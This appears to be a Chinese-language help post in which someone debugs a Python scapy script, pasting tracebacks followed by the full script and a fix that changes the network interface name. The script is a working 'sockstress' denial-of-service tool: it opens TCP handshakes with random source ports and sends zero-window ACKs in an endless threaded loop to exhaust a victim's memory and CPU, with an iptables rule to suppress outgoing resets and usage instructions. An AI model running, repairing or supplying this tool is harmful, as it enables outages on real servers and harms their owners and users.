Exception ignored in: <function SuperSocket.__del__ at 0x7f3e37e9f4c0>
Traceback (most recent call last):
File "/usr/lib/python3/dist-packages/scapy/supersocket.py", line 134, in __del__
self.close()
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 514, in close
set_promisc(self.ins, self.iface, 0)
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 165, in set_promisc
mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 380, in get_if_index
return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 59, in get_if
ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device
Traceback (most recent call last):
File "lyshark.py", line 43, in <module>
t.start()
File "/usr/lib/python3.8/threading.py", line 852, in start
_start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread
# -*- coding: utf-8 -*-
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 受害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *
scapy.config.conf.iface = 'ens32'
# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
semaphore.acquire() # 加锁
isport = random.randint(0,65535) #随机选择受害主机的一个端口
response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0) #发送三层包
send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)
print("[+] sendp --> {} {}".format(target,isport))
semaphore.release() # 释放锁
def Banner():
print(" _ ____ _ _ ")
print(" | | _ _/ ___|| |__ __ _ _ __| | __")
print(" | | | | | \___ \| '_ \ / _` | '__| |/ /")
print(" | |__| |_| |___) | | | | (_| | | | < ")
print(" |_____\__, |____/|_| |_|\__,_|_| |_|\_\\")
print(" |___/ \n")
print("E-Mail: me@lyshark.com\n")
if __name__ == "__main__":
Banner()
parser = OptionParser()
parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
(options,args) = parser.parse_args()
# 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
if options.types == "sockstress" and options.host and options.port and options.thread:
semaphore = threading.Semaphore(options.thread)
while True:
t = threading.Thread(target=sockstress,args=(options.host,options.port))
t.start()
else:
parser.print_help()
我的代码问题在于:scapy.config.conf.iface = 'ens32',将这行代码改成scapy.config.conf.iface = 'eth0'即可
这是一个运行时错误,错误信息提示在调用 ioctl() 函数时发生了错误,原因是设备没有找到。可能是由于设备名称有误,或者该设备不存在导致的。
要解决这个问题,需要检查代码中涉及到的设备名称是否正确,并确保该设备存在并且可以访问。此外,还需要检查代码中 ioctl() 函数的其他参数是否正确,确保它们能够正常工作。